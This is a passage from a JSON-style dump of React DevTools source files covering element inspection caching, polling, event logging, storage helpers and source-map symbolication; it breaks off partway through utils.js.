    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\n\nimport {\n  unstable_getCacheForType as getCacheForType,\n  startTransition,\n} from 'react';\nimport Store from 'react-devtools-shared/src/devtools/store';\nimport {inspectElement as inspectElementMutableSource} from 'react-devtools-shared/src/inspectedElementMutableSource';\nimport ElementPollingCancellationError from 'react-devtools-shared/src//errors/ElementPollingCancellationError';\n\nimport type {FrontendBridge} from 'react-devtools-shared/src/bridge';\nimport type {\n  Thenable,\n  FulfilledThenable,\n  RejectedThenable,\n} from 'shared/ReactTypes';\nimport type {\n  Element,\n  InspectedElement as InspectedElementFrontend,\n  InspectedElementResponseType,\n  InspectedElementPath,\n} from 'react-devtools-shared/src/frontend/types';\n\nfunction readRecord<T>(record: Thenable<T>): T {\n  if (typeof React.use === 'function') {\n    // eslint-disable-next-line react-hooks-published/rules-of-hooks\n    return React.use(record);\n  }\n  if (record.status === 'fulfilled') {\n    return record.value;\n  } else if (record.status === 'rejected') {\n    throw record.reason;\n  } else {\n    throw record;\n  }\n}\n\ntype InspectedElementMap = WeakMap<Element, Thenable<InspectedElementFrontend>>;\ntype CacheSeedKey = () => InspectedElementMap;\n\nfunction createMap(): InspectedElementMap {\n  return new WeakMap();\n}\n\nfunction getRecordMap(): WeakMap<Element, Thenable<InspectedElementFrontend>> {\n  return getCacheForType(createMap);\n}\n\nfunction createCacheSeed(\n  element: Element,\n  inspectedElement: InspectedElementFrontend,\n): [CacheSeedKey, InspectedElementMap] {\n  const thenable: FulfilledThenable<InspectedElementFrontend> = {\n    then(callback: (value: any) => mixed, reject: (error: mixed) => mixed) {\n      callback(thenable.value);\n    },\n    status: 'fulfilled',\n    value: inspectedElement,\n  };\n  const map = createMap();\n  map.set(element, thenable);\n  return [createMap, map];\n}\n\n/**\n * Fetches element props and state from the backend for inspection.\n * This method should be called during render; it will suspend if data has not yet been fetched.\n */\nexport function inspectElement(\n  element: Element,\n  path: InspectedElementPath | null,\n  store: Store,\n  bridge: FrontendBridge,\n): InspectedElementFrontend | null {\n  const map = getRecordMap();\n  let record = map.get(element);\n  if (!record) {\n    const callbacks = new Set<(value: any) => mixed>();\n    const rejectCallbacks = new Set<(reason: mixed) => mixed>();\n    const thenable: Thenable<InspectedElementFrontend> = {\n      status: 'pending',\n      value: null,\n      reason: null,\n      then(callback: (value: any) => mixed, reject: (error: mixed) => mixed) {\n        callbacks.add(callback);\n        rejectCallbacks.add(reject);\n      },\n\n      // Optional property used by Timeline:\n      displayName: `Inspecting ${element.displayName || 'Unknown'}`,\n    };\n\n    const wake = () => {\n      // This assumes they won't throw.\n      callbacks.forEach(callback => callback((thenable: any).value));\n      callbacks.clear();\n      rejectCallbacks.clear();\n    };\n    const wakeRejections = () => {\n      // This assumes they won't throw.\n      rejectCallbacks.forEach(callback => callback((thenable: any).reason));\n      rejectCallbacks.clear();\n      callbacks.clear();\n    };\n    record = thenable;\n\n    const rendererID = store.getRendererIDForElement(element.id);\n    if (rendererID == null) {\n      const rejectedThenable: RejectedThenable<InspectedElementFrontend> =\n        (thenable: any);\n      rejectedThenable.status = 'rejected';\n      rejectedThenable.reason = new Error(\n        `Could not inspect element with id \"${element.id}\". No renderer found.`,\n      );\n\n      map.set(element, record);\n\n      return null;\n    }\n\n    inspectElementMutableSource(bridge, element, path, rendererID).then(\n      ([inspectedElement]: [\n        InspectedElementFrontend,\n        InspectedElementResponseType,\n      ]) => {\n        const fulfilledThenable: FulfilledThenable<InspectedElementFrontend> =\n          (thenable: any);\n        fulfilledThenable.status = 'fulfilled';\n        fulfilledThenable.value = inspectedElement;\n        wake();\n      },\n\n      error => {\n        console.error(error);\n\n        const rejectedThenable: RejectedThenable<InspectedElementFrontend> =\n          (thenable: any);\n        rejectedThenable.status = 'rejected';\n        rejectedThenable.reason = error;\n\n        wakeRejections();\n      },\n    );\n\n    map.set(element, record);\n  }\n\n  const response = readRecord(record);\n  return response;\n}\n\ntype RefreshFunction = (\n  seedKey: CacheSeedKey,\n  cacheMap: InspectedElementMap,\n) => void;\n\n/**\n * Asks the backend for updated props and state from an expected element.\n * This method should never be called during render; call it from an effect or event handler.\n * This method will schedule an update if updated information is returned.\n */\nexport function checkForUpdate({\n  bridge,\n  element,\n  refresh,\n  store,\n}: {\n  bridge: FrontendBridge,\n  element: Element,\n  refresh: RefreshFunction,\n  store: Store,\n}): void | Promise<void> {\n  const {id} = element;\n  const rendererID = store.getRendererIDForElement(id);\n\n  if (rendererID == null) {\n    return;\n  }\n\n  return inspectElementMutableSource(\n    bridge,\n    element,\n    null,\n    rendererID,\n    true,\n  ).then(\n    ([inspectedElement, responseType]: [\n      InspectedElementFrontend,\n      InspectedElementResponseType,\n    ]) => {\n      if (responseType === 'full-data') {\n        startTransition(() => {\n          const [key, value] = createCacheSeed(element, inspectedElement);\n          refresh(key, value);\n        });\n      }\n    },\n  );\n}\n\nfunction createPromiseWhichResolvesInOneSecond() {\n  return new Promise(resolve => setTimeout(resolve, 1000));\n}\n\ntype PollingStatus = 'idle' | 'running' | 'paused' | 'aborted';\n\nexport function startElementUpdatesPolling({\n  bridge,\n  element,\n  refresh,\n  store,\n}: {\n  bridge: FrontendBridge,\n  element: Element,\n  refresh: RefreshFunction,\n  store: Store,\n}): {abort: () => void, pause: () => void, resume: () => void} {\n  let status: PollingStatus = 'idle';\n\n  function abort() {\n    status = 'aborted';\n  }\n\n  function resume() {\n    if (status === 'running' || status === 'aborted') {\n      return;\n    }\n\n    status = 'idle';\n    poll();\n  }\n\n  function pause() {\n    if (status === 'paused' || status === 'aborted') {\n      return;\n    }\n\n    status = 'paused';\n  }\n\n  function poll(): Promise<void> {\n    status = 'running';\n\n    return Promise.allSettled([\n      checkForUpdate({bridge, element, refresh, store}),\n      createPromiseWhichResolvesInOneSecond(),\n    ])\n      .then(([{status: updateStatus, reason}]) => {\n        // There isn't much to do about errors in this case,\n        // but we should at least log them, so they aren't silent.\n        // Log only if polling is still active, we can't handle the case when\n        // request was sent, and then bridge was remounted (for example, when user did navigate to a new page),\n        // but at least we can mark that polling was aborted\n        if (updateStatus === 'rejected' && status !== 'aborted') {\n          // This is expected Promise rejection, no need to log it\n          if (reason instanceof ElementPollingCancellationError) {\n            return;\n          }\n\n          console.error(reason);\n        }\n      })\n      .finally(() => {\n        const shouldContinuePolling =\n          status !== 'aborted' && status !== 'paused';\n\n        status = 'idle';\n\n        if (shouldContinuePolling) {\n          return poll();\n        }\n      });\n  }\n\n  poll();\n\n  return {abort, resume, pause};\n}\n\nexport function clearCacheBecauseOfError(refresh: RefreshFunction): void {\n  startTransition(() => {\n    const map = createMap();\n    refresh(createMap, map);\n  });\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/inspectedElementMutableSource.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport LRU from 'lru-cache';\nimport {\n  convertInspectedElementBackendToFrontend,\n  hydrateHelper,\n  inspectElement as inspectElementAPI,\n  inspectScreen as inspectScreenAPI,\n} from 'react-devtools-shared/src/backendAPI';\nimport {fillInPath} from 'react-devtools-shared/src/hydration';\n\nimport type {LRUCache} from 'react-devtools-shared/src/frontend/types';\nimport type {FrontendBridge} from 'react-devtools-shared/src/bridge';\nimport type {\n  InspectElementError,\n  InspectElementFullData,\n  InspectElementHydratedPath,\n} from 'react-devtools-shared/src/backend/types';\nimport UserError from 'react-devtools-shared/src/errors/UserError';\nimport UnknownHookError from 'react-devtools-shared/src/errors/UnknownHookError';\nimport type {\n  Element,\n  InspectedElement as InspectedElementFrontend,\n  InspectedElementResponseType,\n  InspectedElementPath,\n} from 'react-devtools-shared/src/frontend/types';\n\n// Maps element ID to inspected data.\n// We use an LRU for this rather than a WeakMap because of how the \"no-change\" optimization works.\n// When the frontend polls the backend for an update on the element that's currently inspected,\n// the backend will send a \"no-change\" message if the element hasn't updated (rendered) since the last time it was asked.\n// In this case, the frontend cache should reuse the previous (cached) value.\n// Using a WeakMap keyed on Element generally works well for this, since Elements are mutable and stable in the Store.\n// This doens't work properly though when component filters are changed,\n// because this will cause the Store to dump all roots and re-initialize the tree (recreating the Element objects).\n// So instead we key on Element ID (which is stable in this case) and use an LRU for eviction.\nconst inspectedElementCache: LRUCache<number, InspectedElementFrontend> =\n  new LRU({\n    max: 25,\n  });\n\ntype InspectElementReturnType = [\n  InspectedElementFrontend,\n  InspectedElementResponseType,\n];\n\nexport function inspectElement(\n  bridge: FrontendBridge,\n  element: Element,\n  path: InspectedElementPath | null,\n  rendererID: number,\n  shouldListenToPauseEvents: boolean = false,\n): Promise<InspectElementReturnType> {\n  const {id, parentID} = element;\n\n  // This could indicate that the DevTools UI has been closed and reopened.\n  // The in-memory cache will be clear but the backend still thinks we have cached data.\n  // In this case, we need to tell it to resend the full data.\n  const forceFullData = !inspectedElementCache.has(id);\n  const isRoot = parentID === 0;\n  const promisedElement = isRoot\n    ? inspectScreenAPI(\n        bridge,\n        forceFullData,\n        id,\n        path,\n        shouldListenToPauseEvents,\n      )\n    : inspectElementAPI(\n        bridge,\n        forceFullData,\n        id,\n        path,\n        rendererID,\n        shouldListenToPauseEvents,\n      );\n\n  return promisedElement.then((data: any) => {\n    const {type} = data;\n\n    let inspectedElement;\n    switch (type) {\n      case 'error': {\n        const {message, stack, errorType} = ((data: any): InspectElementError);\n\n        // create a different error class for each error type\n        // and keep useful information from backend.\n        let error;\n        if (errorType === 'user') {\n          error = new UserError(message);\n        } else if (errorType === 'unknown-hook') {\n          error = new UnknownHookError(message);\n        } else {\n          error = new Error(message);\n        }\n        // The backend's stack (where the error originated) is more meaningful than this stack.\n        error.stack = stack || error.stack;\n\n        throw error;\n      }\n\n      case 'no-change':\n        // This is a no-op for the purposes of our cache.\n        inspectedElement = inspectedElementCache.get(id);\n        if (inspectedElement != null) {\n          return [inspectedElement, type];\n        }\n\n        // We should only encounter this case in the event of a bug.\n        throw Error(`Cached data for element \"${id}\" not found`);\n\n      case 'not-found':\n        // This is effectively a no-op.\n        // If the Element is still in the Store, we can eagerly remove it from the Map.\n        inspectedElementCache.del(id);\n\n        throw Error(`Element \"${id}\" not found`);\n\n      case 'full-data':\n        const fullData = ((data: any): InspectElementFullData);\n\n        // New data has come in.\n        // We should replace the data in our local mutable copy.\n        inspectedElement = convertInspectedElementBackendToFrontend(\n          fullData.value,\n        );\n\n        inspectedElementCache.set(id, inspectedElement);\n\n        return [inspectedElement, type];\n\n      case 'hydrated-path':\n        const hydratedPathData = ((data: any): InspectElementHydratedPath);\n        const {value} = hydratedPathData;\n\n        // A path has been hydrated.\n        // Merge it with the latest copy we have locally and resolve with the merged value.\n        inspectedElement = inspectedElementCache.get(id) || null;\n        if (inspectedElement !== null) {\n          // Clone element\n          inspectedElement = {...inspectedElement};\n\n          // Merge hydrated data\n          if (path != null) {\n            fillInPath(\n              inspectedElement,\n              value,\n              path,\n              hydrateHelper(value, path),\n            );\n          }\n\n          inspectedElementCache.set(id, inspectedElement);\n\n          return [inspectedElement, type];\n        }\n        break;\n\n      default:\n        // Should never happen.\n        if (__DEV__) {\n          console.error(\n            `Unexpected inspected element response data: \"${type}\"`,\n          );\n        }\n        break;\n    }\n\n    throw Error(`Unable to inspect element with id \"${id}\"`);\n  });\n}\n\nexport function clearCacheForTests(): void {\n  inspectedElementCache.reset();\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/isArray.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nconst isArray = Array.isArray;\n\nexport default isArray;\n"
  },
  {
    "path": "packages/react-devtools-shared/src/registerDevToolsEventLogger.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow strict-local\n */\n\nimport type {LoggerEvent} from 'react-devtools-shared/src/Logger';\n\nimport {registerEventLogger} from 'react-devtools-shared/src/Logger';\nimport {enableLogger} from 'react-devtools-feature-flags';\n\nlet currentLoggingIFrame = null;\nlet currentSessionId = null;\nlet missedEvents: Array<LoggerEvent> = [];\n\ntype LoggerContext = {\n  page_url: ?string,\n};\n\nexport function registerDevToolsEventLogger(\n  surface: string,\n  fetchAdditionalContext?:\n    | (() => LoggerContext)\n    | (() => Promise<LoggerContext>),\n): void {\n  async function logEvent(event: LoggerEvent) {\n    if (enableLogger) {\n      if (currentLoggingIFrame != null && currentSessionId != null) {\n        const {metadata, ...eventWithoutMetadata} = event;\n        const additionalContext: LoggerContext | {} =\n          fetchAdditionalContext != null ? await fetchAdditionalContext() : {};\n\n        currentLoggingIFrame?.contentWindow?.postMessage(\n          {\n            source: 'react-devtools-logging',\n            event: eventWithoutMetadata,\n            context: {\n              ...additionalContext,\n              metadata: metadata != null ? JSON.stringify(metadata) : '',\n              session_id: currentSessionId,\n              surface,\n              version: process.env.DEVTOOLS_VERSION,\n            },\n          },\n          '*',\n        );\n      } else {\n        missedEvents.push(event);\n      }\n    }\n  }\n\n  function handleLoggingIFrameLoaded(iframe: HTMLIFrameElement) {\n    currentLoggingIFrame = iframe;\n\n    if (missedEvents.length > 0) {\n      missedEvents.forEach(event => logEvent(event));\n      missedEvents = [];\n    }\n  }\n\n  // If logger is enabled, register a logger that captures logged events\n  // and render iframe where the logged events will be reported to\n  if (enableLogger) {\n    const loggingUrl = process.env.LOGGING_URL;\n    const body = document.body;\n\n    if (\n      typeof loggingUrl === 'string' &&\n      loggingUrl.length > 0 &&\n      body != null &&\n      currentLoggingIFrame == null\n    ) {\n      registerEventLogger(logEvent);\n      currentSessionId = window.crypto.randomUUID();\n\n      const iframe = document.createElement('iframe');\n\n      iframe.onload = () => handleLoggingIFrameLoaded(iframe);\n      iframe.src = loggingUrl;\n\n      body.appendChild(iframe);\n    }\n  }\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/storage.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport function localStorageGetItem(key: string): any {\n  try {\n    return localStorage.getItem(key);\n  } catch (error) {\n    return null;\n  }\n}\n\nexport function localStorageRemoveItem(key: string): void {\n  try {\n    localStorage.removeItem(key);\n  } catch (error) {}\n}\n\nexport function localStorageSetItem(key: string, value: any): void {\n  try {\n    return localStorage.setItem(key, value);\n  } catch (error) {}\n}\n\nexport function sessionStorageGetItem(key: string): any {\n  try {\n    return sessionStorage.getItem(key);\n  } catch (error) {\n    return null;\n  }\n}\n\nexport function sessionStorageRemoveItem(key: string): void {\n  try {\n    sessionStorage.removeItem(key);\n  } catch (error) {}\n}\n\nexport function sessionStorageSetItem(key: string, value: any): void {\n  try {\n    return sessionStorage.setItem(key, value);\n  } catch (error) {}\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/symbolicateSource.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport SourceMapConsumer from 'react-devtools-shared/src/hooks/SourceMapConsumer';\n\nimport type {ReactFunctionLocation} from 'shared/ReactTypes';\nimport type {FetchFileWithCaching} from 'react-devtools-shared/src/devtools/views/Components/FetchFileWithCachingContext';\n\nconst symbolicationCache: Map<\n  string,\n  Promise<SourceMappedLocation | null>,\n> = new Map();\n\nexport type SourceMappedLocation = {\n  location: ReactFunctionLocation,\n  ignored: boolean, // Whether the file for this location was ignore listed\n};\n\nexport function symbolicateSourceWithCache(\n  fetchFileWithCaching: FetchFileWithCaching,\n  sourceURL: string,\n  line: number, // 1-based\n  column: number, // 1-based\n): Promise<SourceMappedLocation | null> {\n  const key = `${sourceURL}:${line}:${column}`;\n  const cachedPromise = symbolicationCache.get(key);\n  if (cachedPromise != null) {\n    return cachedPromise;\n  }\n\n  const promise = symbolicateSource(\n    fetchFileWithCaching,\n    sourceURL,\n    line,\n    column,\n  );\n  symbolicationCache.set(key, promise);\n\n  return promise;\n}\n\nconst SOURCE_MAP_ANNOTATION_PREFIX = 'sourceMappingURL=';\nexport async function symbolicateSource(\n  fetchFileWithCaching: FetchFileWithCaching,\n  sourceURL: string,\n  lineNumber: number, // 1-based\n  columnNumber: number, // 1-based\n): Promise<SourceMappedLocation | null> {\n  if (!sourceURL || sourceURL.startsWith('<anonymous')) {\n    return null;\n  }\n  const resource = await fetchFileWithCaching(sourceURL).catch(() => null);\n  if (resource == null) {\n    return null;\n  }\n\n  const resourceLines = resource.split(/[\\r\\n]+/);\n  for (let i = resourceLines.length - 1; i >= 0; --i) {\n    const resourceLine = resourceLines[i];\n\n    // In case there is empty last line\n    if (!resourceLine) continue;\n    // Not an annotation? Stop looking for a source mapping url.\n    if (!resourceLine.startsWith('//#')) break;\n\n    if (resourceLine.includes(SOURCE_MAP_ANNOTATION_PREFIX)) {\n      const sourceMapAnnotationStartIndex = resourceLine.indexOf(\n        SOURCE_MAP_ANNOTATION_PREFIX,\n      );\n      const sourceMapAt = resourceLine.slice(\n        sourceMapAnnotationStartIndex + SOURCE_MAP_ANNOTATION_PREFIX.length,\n        resourceLine.length,\n      );\n\n      // Compute the absolute source map URL. If the base URL is invalid, gracefully bail.\n      let sourceMapURL;\n      try {\n        sourceMapURL = new URL(sourceMapAt, sourceURL).toString();\n      } catch (e) {\n        // Fallback: try if sourceMapAt is already an absolute URL; otherwise give up.\n        try {\n          sourceMapURL = new URL(sourceMapAt).toString();\n        } catch (_e) {\n          return null;\n        }\n      }\n      const sourceMap = await fetchFileWithCaching(sourceMapURL).catch(\n        () => null,\n      );\n      if (sourceMap != null) {\n        try {\n          const parsedSourceMap = JSON.parse(sourceMap);\n          const consumer = SourceMapConsumer(parsedSourceMap);\n          const functionName = ''; // TODO: Parse function name from sourceContent.\n          const {\n            sourceURL: possiblyURL,\n            line,\n            column: columnZeroBased,\n            ignored,\n          } = consumer.originalPositionFor({\n            lineNumber, // 1-based\n            columnNumber, // 1-based\n          });\n\n          const column = columnZeroBased + 1;\n\n          if (possiblyURL === null) {\n            return null;\n          }\n          try {\n            // sourceMapURL = https://react.dev/script.js.map\n            void new URL(possiblyURL); // test if it is a valid URL\n\n            return {\n              location: [functionName, possiblyURL, line, column],\n              ignored,\n            };\n          } catch (e) {\n            // This is not valid URL\n            if (\n              // sourceMapURL = /file\n              possiblyURL.startsWith('/') ||\n              // sourceMapURL = C:\\\\...\n              possiblyURL.slice(1).startsWith(':\\\\\\\\')\n            ) {\n              // This is an absolute path\n              return {\n                location: [functionName, possiblyURL, line, column],\n                ignored,\n              };\n            }\n\n            // This is a relative path\n            // possiblyURL = x.js.map, sourceMapURL = https://react.dev/script.js.map\n            const absoluteSourcePath = new URL(\n              possiblyURL,\n              sourceMapURL,\n            ).toString();\n            return {\n              location: [functionName, absoluteSourcePath, line, column],\n              ignored,\n            };\n          }\n        } catch (e) {\n          return null;\n        }\n      }\n\n      return null;\n    }\n  }\n\n  return null;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/utils.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport LRU from 'lru-cache';\nimport {\n  REACT_CONSUMER_TYPE,\n  REACT_CONTEXT_TYPE,\n  REACT_FORWARD_REF_TYPE,\n  REACT_FRAGMENT_TYPE,\n  REACT_LAZY_TYPE,\n  REACT_ELEMENT_TYPE,\n  REACT_LEGACY_ELEMENT_TYPE,\n  REACT_MEMO_TYPE,\n  REACT_PORTAL_TYPE,\n  REACT_PROFILER_TYPE,\n  REACT_STRICT_MODE_TYPE,\n  REACT_SUSPENSE_LIST_TYPE,\n  REACT_SUSPENSE_TYPE,\n  REACT_TRACING_MARKER_TYPE,\n  REACT_VIEW_TRANSITION_TYPE,\n} from 'shared/ReactSymbols';\nimport {\n  TREE_OPERATION_ADD,\n  TREE_OPERATION_REMOVE,\n  TREE_OPERATION_REORDER_CHILDREN,\n  TREE_OPERATION_SET_SUBTREE_MODE,\n  TREE_OPERATION_UPDATE_ERRORS_OR_WARNINGS,\n  TREE_OPERATION_UPDATE_TREE_BASE_DURATION,\n  TREE_OPERATION_APPLIED_ACTIVITY_SLICE_CHANGE,\n  LOCAL_STORAGE_COMPONENT_FILTER_PREFERENCES_KEY,\n  LOCAL_STORAGE_OPEN_IN_EDITOR_URL,\n  LOCAL_STORAGE_OPEN_IN_EDITOR_URL_PRESET,\n  LOCAL_STORAGE_ALWAYS_OPEN_IN_EDITOR,\n  SESSION_STORAGE_RELOAD_AND_PROFILE_KEY,\n  SESSION_STORAGE_RECORD_CHANGE_DESCRIPTIONS_KEY,\n  SESSION_STORAGE_RECORD_TIMELINE_KEY,\n  SUSPENSE_TREE_OPERATION_ADD,\n  SUSPENSE_TREE_OPERATION_REMOVE,\n  SUSPENSE_TREE_OPERATION_REORDER_CHILDREN,\n  SUSPENSE_TREE_OPERATION_RESIZE,\n  SUSPENSE_TREE_OPERATION_SUSPENDERS,\n} from './constants';\nimport {\n  ComponentFilterActivitySlice,\n  ComponentFilterElementType,\n  ComponentFilterLocation,\n  ElementTypeHostComponent,\n} from './frontend/types';\nimport {\n  ElementTypeRoot,\n  ElementTypeClass,\n  ElementTypeForwardRef,\n  ElementTypeFunction,\n  ElementTypeMemo,\n  ElementTypeVirtual,\n} from 'react-devtools-shared/src/frontend/types';\nimport {\n  localStorageGetItem,\n  localStorageSetItem,\n  sessionStorageGetItem,\n  sessionStorageRemoveItem,\n  sessionStorageSetItem,\n} from 'react-devtools-shared/src/storage';\nimport {meta} from './hydration';\nimport isArray from './isArray';\n\nimport type {\n  ComponentFilter,\n  ElementType,\n  SerializedElement as SerializedElementFrontend,\n  LRUCache,\n} from 'react-devtools-shared/src/frontend/types';\nimport type {\n  ProfilingSettings,\n  SerializedElement as SerializedElementBackend,\n} from 'react-devtools-shared/src/backend/types';\nimport {isSynchronousXHRSupported} from './backend/utils';\n\n// $FlowFixMe[method-unbinding]\nconst hasOwnProperty = Object.prototype.hasOwnProperty;\n\nconst cachedDisplayNames: WeakMap<Function, string> = new WeakMap();\n\n// On large trees, encoding takes significant time.\n// Try to reuse the already encoded strings.\nconst encodedStringCache: LRUCache<string, Array<number>> = new LRU({\n  max: 1000,\n});\n\n// Previously, the type of `Context.Provider`.\nconst LEGACY_REACT_PROVIDER_TYPE: symbol = Symbol.for('react.provider');\n\nexport function alphaSortKeys(\n  a: string | number | symbol,\n  b: string | number | symbol,\n): number {\n  if (a.toString() > b.toString()) {\n    return 1;\n  } else if (b.toString() > a.toString()) {\n    return -1;\n  } else {\n    return 0;\n  }\n}\n\nexport function getAllEnumerableKeys(\n  obj: Object,\n): Set<string | number | symbol> {\n  const keys = new Set<string | number | symbol>();\n  let current = obj;\n  while (current != null) {\n    const currentKeys = [\n      ...Object.keys(current),\n      ...Object.getOwnPropertySymbols(current),\n    ];\n    const descriptors = Object.getOwnPropertyDescriptors(current);\n    currentKeys.forEach(key => {\n      // $FlowFixMe[incompatible-type]: key can be a Symbol https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyDescriptor\n      if (descriptors[key].enumerable) {\n        keys.add(key);\n      }\n    });\n    current = Object.getPrototypeOf(current);\n  }\n  return keys;\n}\n\n// Mirror https://github.com/facebook/react/blob/7c21bf72ace77094fd1910cc350a548287ef8350/packages/shared/getComponentName.js#L27-L37\nexport function getWrappedDisplayName(\n  outerType: mixed,\n  innerType: any,\n  wrapperName: string,\n  fallbackName?: string,\n): string {\n  const displayName = (outerType: any)?.displayName;\n  return (\n    displayName || `${wrapperName}(${getDisplayName(innerType, fallbackName)})`\n  );\n}\n\nexport function getDisplayName(\n  type: Function,\n  fallbackName: string = 'Anonymous',\n): string {\n  const nameFromCache = cachedDisplayNames.get(type);\n  if (nameFromCache != null) {\n    return nameFromCache;\n  }\n\n  let displayName = fallbackName;\n\n  // The displayName property is not guaranteed to be a string.\n  // It's only safe to use for our purposes if it's a string.\n  // github.com/facebook/react-devtools/issues/803\n  if (typeof type.displayName === 'string') {\n    displayName = type.displayName;\n  } else if (typeof type.name === 'string' && type.name !== '') {\n    displayName = type.name;\n  }\n\n  cachedDisplayNames.set(type, displayName);\n  return displayName;\n}\n\nlet uidCounter: number = 0;\n\nexport function getUID(): number {\n  return ++uidCounter;\n}\n\nexport function utfDecodeStringWithRanges(\n  array: Array<number>,\n  left: number,\n  right: number,\n): string {\n  let string = '';\n  for (let i = left; i <= right; i++) {\n    string += String.fromCodePoint(array[i]);\n  }\n  return string;\n}\n\nfunction surrogatePairToCodePoint(\n  charCode1: number,\n  charCode2: number,\n): number {\n  return ((charCode1 & 0x3ff) << 10) + (charCode2 & 0x3ff) + 0x10000;\n}\n\n// Credit for this encoding approach goes to Tim Down:\n// https://stackoverflow.com/questions/4877326/how-can-i-tell-if-a-string-contains-multibyte-characters-in-javascript\nexport function utfEncodeString(string: string): Array<number> {\n  const cached = encodedStringCache.get(string);\n  if (cached !== undefined) {\n    return cached;\n  }\n\n  const encoded = [];\n  let i = 0;\n  let charCode;\n  while (i < string.length) {\n    charCode = string.charCodeAt(i);\n    // Handle multibyte unicode characters (like emoji).\n    if ((charCode & 0xf800) === 0xd800) {\n      encoded.push(surrogatePairToCodePoint(charCode, string.charCodeAt(++i)));\n    } else {\n      encoded.push(charCode);\n    }\n    ++i;\n  }\n\n  encodedStringCache.set(string, encoded);\n\n  return encoded;\n}\n\nexport function printOperationsArray(operations: Array<number>) {\n  // The first two values are always rendererID and rootID\n  const rendererID = operations[0];\n  const rootID = operations[1];\n\n  const logs = [`operations for renderer:${rendererID} and root:${rootID}`];\n\n  let i = 2;\n\n  // Reassemble the string table.\n  const stringTable: Array<null | string> = [\n    null, // ID = 0 corresponds to the null string.\n  ];\n  const stringTableSize = operations[i++];\n  const stringTableEnd = i + stringTableSize;\n  while (i < stringTableEnd) {\n    const nextLength = operations[i++];\n    const nextString = utfDecodeStringWithRanges(\n      operations,\n      i,\n      i + nextLength - 1,\n    );\n    stringTable.push(nextString);\n    i += nextLength;\n  }\n\n  while (i < operations.length) {\n    const operation = operations[i];\n\n    switch (operation) {\n      case TREE_OPERATION_ADD: {\n        const id = ((operations[i + 1]: any): number);\n        const type = ((operations[i + 2]: any): ElementType);\n\n        i += 3;\n\n        if (type === ElementTypeRoot) {\n          logs.push(`Add new root node ${id}`);\n\n          i++; // isStrictModeCompliant\n          i++; // supportsProfiling\n          i++; // supportsStrictMode\n          i++; // hasOwnerMetadata\n        } else {\n          const parentID = ((operations[i]: any): number);\n          i++;\n\n          i++; // ownerID\n\n          const displayNameStringID = operations[i];\n          const displayName = stringTable[displayNameStringID];\n          i++;\n\n          i++; // key\n          i++; // name\n\n          logs.push(\n            `Add node ${id} (${displayName || 'null'}) as child of ${parentID}`,\n          );\n        }\n        break;\n      }\n      case TREE_OPERATION_REMOVE: {\n        const removeLength = ((operations[i + 1]: any): number);\n        i += 2;\n\n        for (let removeIndex = 0; removeIndex < removeLength; removeIndex++) {\n          const id = ((operations[i]: any): number);\n          i += 1;\n\n          logs.push(`Remove node ${id}`);\n        }\n        break;\n      }\n      case TREE_OPERATION_SET_SUBTREE_MODE: {\n        const id = operations[i + 1];\n        const mode = operations[i + 2];\n\n        i += 3;\n\n        logs.push(`Mode ${mode} set for subtree with root ${id}`);\n        break;\n      }\n      case TREE_OPERATION_REORDER_CHILDREN: {\n        const id = ((operations[i + 1]: any): number);\n        const numChildren = ((operations[i + 2]: any): number);\n        i += 3;\n        const children = operations.slice(i, i + numChildren);\n        i += numChildren;\n\n        logs.push(`Re-order node ${id} children ${children.join(',')}`);\n        break;\n      }\n      case TREE_OPERATION_UPDATE_TREE_BASE_DURATION:\n        // Base duration updates are only sent while profiling is in progress.\n        // We can ignore them at this point.\n        // The profiler UI uses them lazily in order to generate the tree.\n        i += 3;\n        break;\n      case TREE_OPERATION_UPDATE_ERRORS_OR_WARNINGS: {\n        const id = operations[i + 1];\n        const numErrors = operations[i + 2];\n        const numWarnings = operations[i + 3];\n\n        i += 4;\n\n        logs.push(\n          `Node ${id} has ${numErrors} errors and ${numWarnings} warnings`,\n        );\n        break;\n      }\n      case SUSPENSE_TREE_OPERATION_ADD: {\n        const fiberID = operations[i + 1];\n        const parentID = operations[i + 2];\n        const nameStringID = operations[i + 3];\n        const isSuspended = operations[i + 4];\n        const numRects = operations[i + 5];\n\n        i += 6;\n\n        const name = stringTable[nameStringID];\n        let rects: string;\n        if (numRects === -1) {\n          rects = 'null';\n        } else {\n          rects = '[';\n          for (let rectIndex = 0; rectIndex < numRects; rectIndex++) {\n            const offset = i + rectIndex * 4;\n            const x = operations[offset + 0];\n            const y = operations[offset + 1];\n            const width = operations[offset + 2];\n            const height = operations[offset + 3];\n\n            if (rectIndex > 0) {\n              rects += ', ';\n            }\n            rects += `(${x}, ${y}, ${width}, ${height})`;\n\n            i += 4;\n          }\n          rects += ']';\n        }\n\n        logs.push(\n          `Add suspense node ${fiberID} (${String(name)},rects={${rects}}) under ${parentID} suspended ${isSuspended}`,\n        );\n        break;\n      }\n      case SUSPENSE_TREE_OPERATION_REMOVE: {\n        const removeLength = ((operations[i + 1]: any): number);\n        i += 2;\n\n        for (let removeIndex = 0; removeIndex < removeLength; 